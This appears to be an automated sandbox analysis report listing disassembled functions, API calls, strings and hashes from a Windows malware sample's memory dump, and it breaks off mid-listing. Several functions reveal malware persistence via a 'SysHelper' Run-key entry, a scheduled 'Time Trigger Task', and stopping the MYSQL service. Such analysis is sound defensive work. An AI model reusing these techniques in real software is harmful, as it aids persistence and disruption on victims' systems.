Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32(00000000,?), ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ), ref: 00411974
lstrcatW.KERNEL32(00000000,?), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260), ref: 00411993
lstrcatW.KERNEL32(00000000,?), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 172b79915ac33bd678d32bde4226a0e24b826fa270b4d7bd6214eb3b2e5526ac
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 172b79915ac33bd678d32bde4226a0e24b826fa270b4d7bd6214eb3b2e5526ac
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Uniqueness

Uniqueness Score: -1.00%

Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(FFFFFFFF,?,00000001,?,00454B72), ref: 004549C7
Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
CreateCompatibleDC.GDI32(00000000), ref: 00482323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
SelectObject.GDI32(00000000,00000000), ref: 0048235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
SelectObject.GDI32(?,?), ref: 00482436
DeleteObject.GDI32(00000000), ref: 0048243D
DeleteDC.GDI32(?), ref: 0048244A
DeleteDC.GDI32(?), ref: 00482450

Strings

.\crypto\rand\rand_win.c, xrefs: 00482383
DISPLAY, xrefs: 00482311

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 0c9c1c2ab8505d5d0ad1ff410e0c07bd783a2317b8dbec5b469f5910e3c33601
Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
Opcode Fuzzy Hash: 0c9c1c2ab8505d5d0ad1ff410e0c07bd783a2317b8dbec5b469f5910e3c33601
Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A

Uniqueness

Uniqueness Score: -1.00%

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

-----BEGIN , xrefs: 004636A4
, xrefs: 00463A90
-----, xrefs: 004636D4, 00463A21
.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA
-----END , xrefs: 0046382F, 00463940, 004639E4

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: 84ee3cde42700812759a9ef38857a16d989f8e96272b56e8f3a280f090e98fcd
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: 84ee3cde42700812759a9ef38857a16d989f8e96272b56e8f3a280f090e98fcd
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Uniqueness

Uniqueness Score: -1.00%

Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425AAE

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__calloc_crt.LIBCMT ref: 00425AD2
_free.LIBCMT ref: 00425AE0
__calloc_crt.LIBCMT ref: 00425AEE
_free.LIBCMT ref: 00425AFE
_free.LIBCMT ref: 00425B04
__copytlocinfo_nolock.LIBCMT ref: 00425B13
__wsetlocale_nolock.LIBCMT ref: 00425B20
__setmbcp_nolock.LIBCMT ref: 00425B34
_free.LIBCMT ref: 00425B42
___removelocaleref.LIBCMT ref: 00425B49
___freetlocinfo.LIBCMT ref: 00425B50
_free.LIBCMT ref: 00425B56

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 00427B21 Relevance: 18.1, APIs: 12, Instructions: 84COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 00427B29
_free.LIBCMT ref: 00427B42

Part of subcall function 00420BED: RtlFreeHeap.NTDLL(00000000,00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C13

_free.LIBCMT ref: 00427B55
_free.LIBCMT ref: 00427B73
_free.LIBCMT ref: 00427B85
_free.LIBCMT ref: 00427B96
_free.LIBCMT ref: 00427BA1
_free.LIBCMT ref: 00427BC5
EncodePointer.KERNEL32(006398B0), ref: 00427BCC
_free.LIBCMT ref: 00427BE1
_free.LIBCMT ref: 00427BF7
_free.LIBCMT ref: 00427C1F

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID:
API String ID: 3064303923-0
Opcode ID: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction ID: d8036121d910c09816430481b6b6363fcbb95216f7cc64832fdbf6810ac9f003
Opcode Fuzzy Hash: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction Fuzzy Hash: C2217535A042748BCB215F56BC80D4A7BA4EB14328B94453FEA14573A1CBF87889DA98

Uniqueness

Uniqueness Score: -1.00%

Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(FFFFFFFF,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

_OPENSSL_isservice, xrefs: 004549D1
Service-0x, xrefs: 00454A80

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 3807c14e2e06666c3841fd577d8dc4c169a4d8fe6725ffaf2f8e04ccca0ab35a
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 3807c14e2e06666c3841fd577d8dc4c169a4d8fe6725ffaf2f8e04ccca0ab35a
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Uniqueness

Uniqueness Score: -1.00%

Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,00000000,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00454BD3

Strings

OPENSSL, xrefs: 00454B77
OpenSSL: FATAL, xrefs: 00454BC7

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: ce6eb8d3f5f16185de033b2eb02e1ed4c4d2bc7c389f561c58e1c798f68c238c
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: ce6eb8d3f5f16185de033b2eb02e1ed4c4d2bc7c389f561c58e1c798f68c238c
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Uniqueness

Uniqueness Score: -1.00%

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F
SysHelper, xrefs: 004123D6

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: 06da7c2837e38599fef00ce52c1f6902c681b54622b65709e13af315f42eef8d
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: 06da7c2837e38599fef00ce52c1f6902c681b54622b65709e13af315f42eef8d
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Uniqueness

Uniqueness Score: -1.00%

Function 00425B6E Relevance: 16.6, APIs: 11, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425BF8
__lock.LIBCMT ref: 00425C0E
__copytlocinfo_nolock.LIBCMT ref: 00425C1F
__wsetlocale_nolock.LIBCMT ref: 00425C36
_wcscmp.LIBCMT ref: 00425C59
__lock.LIBCMT ref: 00425C70
__updatetlocinfoEx_nolock.LIBCMT ref: 00425C82
___removelocaleref.LIBCMT ref: 00425C88
__updatetlocinfoEx_nolock.LIBCMT ref: 00425CA7

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__wsetlocale_nolock_wcscmp
String ID:
API String ID: 1077091919-0
Opcode ID: 0727ae4cc99d48966fa21793c9fc57279ad8f68c0750dd608dbf0930cc1fe26a
Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
Opcode Fuzzy Hash: 0727ae4cc99d48966fa21793c9fc57279ad8f68c0750dd608dbf0930cc1fe26a
Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D

Uniqueness

Uniqueness Score: -1.00%

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

invalid string position, xrefs: 00418342
string too long, xrefs: 00418338

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 792d112af0fa9ddc9baf780d6e55906f8cf88b841c6546fcd7dace90299be161
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 792d112af0fa9ddc9baf780d6e55906f8cf88b841c6546fcd7dace90299be161
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32(?,?), ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

Comment, xrefs: 0040DBFF
Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52
--Task, xrefs: 0040DBB5

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: 2e74f348d978aa6d86d7a4bcf4ad75af8e5eec8b3156eaf57847e3efada330f4
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: 2e74f348d978aa6d86d7a4bcf4ad75af8e5eec8b3156eaf57847e3efada330f4
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000006.00000002.2613740153.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2613740153.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2613740153.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: 0f15716b166695e00864247e1df175f35371e0258770e6daacd70fab21cfce16
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: 0f15716b166695e00864247e1df175f35371e0258770e6daacd70fab21cfce16
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
GetLastError.KERNEL32(?,?,00000000), ref: 00465503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
